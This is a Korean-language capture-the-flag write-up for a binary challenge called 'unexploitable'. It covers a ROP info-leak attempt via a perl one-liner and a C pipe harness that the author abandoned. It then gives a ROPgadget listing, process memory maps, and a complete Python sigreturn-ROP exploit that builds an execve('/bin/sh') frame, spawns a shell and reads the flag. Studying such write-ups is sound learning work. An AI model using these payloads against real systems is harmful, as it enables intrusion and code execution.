[Hacker's Secret] unexploitable

공유라이브러리의 ASLR을 해제하기 위해서 setarch `uname -m` -R $SHELL 명령어 실행 후 ldd를 확인보면 아래와 같이 고정되어있다.

그런데 실제로 실행해보면 ASLR이 계속 적용되어있음 ...

공격 방법

1. puts로 실제 함수 주소를 얻어온다. (stage1)

2. 다시 main으로 돌아가서 read 함수를 다시 이용한다. (stage2)

3. '1'에서 얻어온 주소로 offset을 계산해서 execl을 호출시킨다.

* x64에서 edi가 첫 번째 인자이므로 아래 가젯을 사용해서 puts의 인자를 조작한다.

- 0x400610L: mov edi [esp+0x30] ; dec eax ; add esp 0x38 ;;

- 0x601000 : puts@got

- 0x400430 : puts@plt

(perl -e 'print "a"x24, "\x10\x06@\x00\x00\x00\x00\x00", "a"x48, "\x00\x10`\x00\x00\x00\x00\x00", "0\x04@\x00\x00\x00\x00\x00", "D\x05@\x00\x00\x00\x00\x00", "\n"';cat)|strace -i ./unexploitable

[ libc offset ] 

puts : 0x70ce0

execl : 0xc0730

"/bin/sh" : 0x17a111

-> 얻어온 주소에 오프셋을 계산해서 execl과 "/bin/sh" 주소 활용

puts + 0x4fa50 => execl

puts + 0x109431 => "/bin/sh"

----------- popen해서 read, write가 잘 안됀다 ㅡㅡㅡ;;;;;

code

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

#include <fcntl.h>

// ls -al | wc

int main(int argc, char *argv[]) {

        char stage1[1024] = {0};

        char stage2[1024] = {0};

        char *payload;

        int pipefd[2];

        int pipefd2[2];

        int backup_stdout, backup_stdin;

        pid_t pid;

        char buf[1000];

        payload = stage1;

        payload += 24;

        memcpy(payload, "\x10\x06\x40\x00\x00\x00\x00\x00", 8);

        payload += 8;

        payload += 48;

        memcpy(payload, "\x00\x10\x60\x00\x00\x00\x00\x00", 8);

        payload += 8;

        memcpy(payload, "\x30\x04\x40\x00\x00\x00\x00\x00", 8);

        payload += 8;

        memcpy(payload, "\x44\x05\x40\x00\x00\x00\x00\x00", 8);

        pipe(pipefd);

        pipe(pipefd2);

        //backup_stdout = dup(STDOUT_FILENO);

        pid = fork();

        if (pid == 0) {

                //setvbuf(stdout, NULL, _IONBF,0);

                close(pipefd2[0]);

                dup2(pipefd2[1], STDOUT_FILENO);

                close(pipefd2[1]);

                close(pipefd[1]);

                dup2(pipefd[0], STDIN_FILENO);

                close(pipefd[0]);

                execl("/usr/bin/stdbuf", "stdbuf", "-o0", "-e0", "./un", NULL);

        }

        else{

                close(pipefd2[1]);

                close(pipefd[0]);

                write(pipefd[1], stage1, sizeof(stage1));

                char buf[1000];

                while (read(pipefd2[0], buf, sizeof(buf)) !=0){

                        printf("go : %s \n", buf);

                }

                payload = stage2;

                waitpid(pid, NULL, 0);

        }

        return EXIT_SUCCESS;

}

---

위의 방법은 접어두고 ... execl의 호출을 syscall을 이용해서 exploit을 시도

아래는 ROPgadget으로 뽑은 가젯들 

bbolmin@bbolmin-virtual-machine:~/ROPgadget-master$ ./ROPgadget.py --binary unexploitable  | more

Gadgets information

============================================================

0x000000000040057f : add al, ch ; mov ebx, 0xc9fffffe ; ret

0x000000000040053d : add bh, bh ; loopne 0x4005a2 ; ret

0x000000000040061f : add bl, dh ; ret

0x000000000040057d : add byte ptr [rax], al ; add al, ch ; mov ebx, 0xc9fffffe ; ret

0x000000000040061d : add byte ptr [rax], al ; add bl, dh ; ret

0x0000000000400411 : add byte ptr [rax], al ; add rsp, 8 ; ret

0x0000000000400439 : add byte ptr [rax], al ; jmp 0x400429

0x000000000040064e : add byte ptr [rax], al ; sub rbx, 8 ; call rax

0x000000000040064d : add byte ptr [rax], r8b ; sub rbx, 8 ; call rax

0x000000000040050b : add byte ptr [rcx], al ; add rsp, 8 ; pop rbx ; pop rbp ; ret

0x0000000000400615 : add esp, 0x38 ; ret

0x000000000040050e : add esp, 8 ; pop rbx ; pop rbp ; ret

0x0000000000400414 : add esp, 8 ; ret

0x0000000000400614 : add rsp, 0x38 ; ret

0x000000000040050d : add rsp, 8 ; pop rbx ; pop rbp ; ret

0x0000000000400413 : add rsp, 8 ; ret

0x0000000000400612 : and al, 0x30 ; add rsp, 0x38 ; ret

0x0000000000400495 : and byte ptr [rax], al ; test rax, rax ; je 0x4004a5 ; call rax

0x00000000004005e9 : call qword ptr [r12 + rbx*8]

0x00000000004005ea : call qword ptr [rsp + rbx*8]

0x000000000040049c : call rax

0x0000000000400584 : dec ecx ; ret

0x00000000004005ec : fmul qword ptr [rax + 0xffffffffffffff83] ; ret

0x000000000040065e : int1 ; add rsp, 8 ; pop rbx ; pop rbp ; ret

0x000000000040049a : je 0x4004a0 ; call rax

0x0000000000400536 : je 0x400548 ; pop rbp ; mov edi, 0x600e48 ; jmp rax

0x000000000040043b : jmp 0x400427

0x000000000040053e : jmp rax

0x000000000040065d : jne 0x400658 ; add rsp, 8 ; pop rbx ; pop rbp ; ret

0x0000000000400585 : leave ; ret

0x000000000040053f : loopne 0x4005a0 ; ret

0x0000000000400581 : mov ebx, 0xc9fffffe ; ret

0x0000000000400539 : mov edi, 0x600e48 ; jmp rax

0x0000000000400610 : mov edi, dword ptr [rsp + 0x30] ; add rsp, 0x38 ; ret

0x00000000004005e7 : mov edi, ebp ; call qword ptr [r12 + rbx*8]

0x00000000004005e6 : mov edi, r13d ; call qword ptr [r12 + rbx*8]

0x000000000040060f : mov r15, qword ptr [rsp + 0x30] ; add rsp, 0x38 ; ret

0x000000000040064b : nop dword ptr [rax + rax] ; sub rbx, 8 ; call rax

0x0000000000400510 : or byte ptr [rbx + 0x5d], bl ; ret

0x00000000004005e8 : out dx, eax ; call qword ptr [r12 + rbx*8]

0x0000000000400538 : pop rbp ; mov edi, 0x600e48 ; jmp rax

0x0000000000400512 : pop rbp ; ret

0x0000000000400511 : pop rbx ; pop rbp ; ret

0x000000000040065c : push qword ptr [rbp + 0xfffffffffffffff1] ; add rsp, 8 ; pop rbx ; pop rbp ; ret

0x0000000000400417 : ret

0x0000000000400442 : ret 0x200b

0x0000000000400499 : sal byte ptr [rdx + rax + 0xffffffffffffffff], -0x30 ; add rsp, 8 ; ret

0x000000000040040f : sbb eax, 0x48000002 ; add esp, 8 ; ret

0x0000000000400651 : sub ebx, 8 ; call rax

0x0000000000400650 : sub rbx, 8 ; call rax

0x0000000000400498 : test eax, eax ; je 0x4004a2 ; call rax

0x0000000000400497 : test rax, rax ; je 0x4004a3 ; call rax

Unique gadgets found: 52

http://inaz2.hatenablog.com/entry/2014/07/30/021123

위의 블로그에서 x64bit 환경에서 sigreturn ROP를 잘 설명해준다.

sigreturn으로 execve의 인자 구성 후 다시 syscall로 호출한다.

sys_execve

rax : 59

rdi : const char *filename

rsi : const char *const argv[]

rdx : const char *const envp[]

.text:0000000000400544 buf             = byte ptr -10h

.text:000000000040056A                 lea     rax, [rbp+buf]

.text:000000000040056E                 mov     edx, 50Fh       ; nbytes

.text:0000000000400573                 mov     rsi, rax        ; buf

.text:0000000000400576                 mov     edi, 0          ; fd

.text:000000000040057B                 mov     eax, 0

.text:0000000000400580                 call    _read

.text:0000000000400585                 leave

.text:0000000000400586                 retn

(gdb) !cat /proc/`pidof unexploitable`/maps

00400000-00401000 r-xp 00000000 08:01 2359337                            /home/unexploitable/unexploitable

00600000-00601000 r--p 00000000 08:01 2359337                            /home/unexploitable/unexploitable

00601000-00602000 rw-p 00001000 08:01 2359337                            /home/unexploitable/unexploitable

7fa2591ac000-7fa259361000 r-xp 00000000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259361000-7fa259561000 ---p 001b5000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259561000-7fa259565000 r--p 001b5000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259565000-7fa259567000 rw-p 001b9000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259567000-7fa25956c000 rw-p 00000000 00:00 0 

7fa25956c000-7fa25958e000 r-xp 00000000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fa259780000-7fa259783000 rw-p 00000000 00:00 0 

7fa25978c000-7fa25978e000 rw-p 00000000 00:00 0 

7fa25978e000-7fa25978f000 r--p 00022000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fa25978f000-7fa259791000 rw-p 00023000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fff22817000-7fff22838000 rw-p 00000000 00:00 0                          [stack]

7fff229a8000-7fff229aa000 r-xp 00000000 00:00 0                          [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

0x00601000 - 0x00602000의 영역을 custom stack으로 사용할 것이다.

[ exploit code ]

import struct, time

from subprocess import Popen, PIPE

p = lambda x: struct.pack('<Q', x)

#00601000-00602000 rw-p 00001000 08:01 2359337  /home/unexploitable/unexploitable

custom_stack1 = 0x00601100

custom_stack2 = 0x00601400

addr_read = 0x40056A                            #call read (1295byte, [rbp-0x10])

addr_syscall = 0x40056f#0xffffffffff600007               #syscall  ; ret  ;

#original stack

payload1 = 'A'*16

payload1 += p(custom_stack1 + 0x10)   #sfp(rbp)

payload1 += p(addr_read)            #ret - call read

#saved at custom_stack1 (0x00601000)

paddr_sh = custom_stack1 + 16 + 8 + 8

addr_null = paddr_sh + 8

addr_sh = addr_null + 8

payload2 = 'B'*16

payload2 += p(custom_stack2 + 0x10)   #sfp(rbp)

payload2 += p(addr_read)            #ret (call read)

payload2 += p(addr_sh)              #ptr -> "/bin/sh"

payload2 += p(0x0)    #NULL

payload2 += "/bin/sh\x00"           #"/bin/sh"

payload2 += 'X'*16

payload2 += 'X'*8                   #sfp(rbp)

payload2 += p(addr_syscall)         #ret (syscall)

payload2 += 'AAAAAAAA' * 5

payload2 += struct.pack('<Q', 0) * 8            # r8-r15

payload2 += struct.pack('<Q', addr_sh)          # rdi       <- const char *filename

payload2 += struct.pack('<Q', paddr_sh)         # rsi       <- const char *const argv[]

payload2 += struct.pack('<Q', custom_stack1)    # rbp

payload2 += struct.pack('<Q', 0)                # rbx

payload2 += struct.pack('<Q', addr_null)        # rdx       <- const char *const envp[]

payload2 += struct.pack('<Q', 59)               # rax       <- execve systemcall

payload2 += struct.pack('<Q', 0)                # rcx

payload2 += struct.pack('<Q', custom_stack1)    # rsp

payload2 += struct.pack('<Q', addr_syscall)     # rip

payload2 += struct.pack('<Q', 0)                # eflags

payload2 += struct.pack('<Q', 0x33)             # csgsfs

payload2 += 'AAAAAAAA' * 4

payload2 += struct.pack('<Q', 0)                  # &fpstate

#saved at custom_stack2 (0x00601200)

payload3 = 'C'*16

payload3 += p(custom_stack1 + 0x10 + 56)   #sfp(rbp)

payload3 += p(addr_read)            #ret

#saved at custom_stack1 + 56 (0x00601000 + 0x38)

payload4 = '\x00'*15

###############################################################

p = Popen(['/home/unexploitable/unexploitable'], stdin=PIPE)

print '[+] send payload1 ...'

p.stdin.write(payload1)

time.sleep(0.5)

print '[+] send payload2 ...'

p.stdin.write(payload2)

time.sleep(0.5)

print '[+] send payload3 ...'

p.stdin.write(payload3)

time.sleep(0.5)

print '[+] send payload4 ...'

p.stdin.write(payload4)

time.sleep(1)

print '[*] got shell !!!'

p.stdin.write('cat /home/unexploitable/flag\n');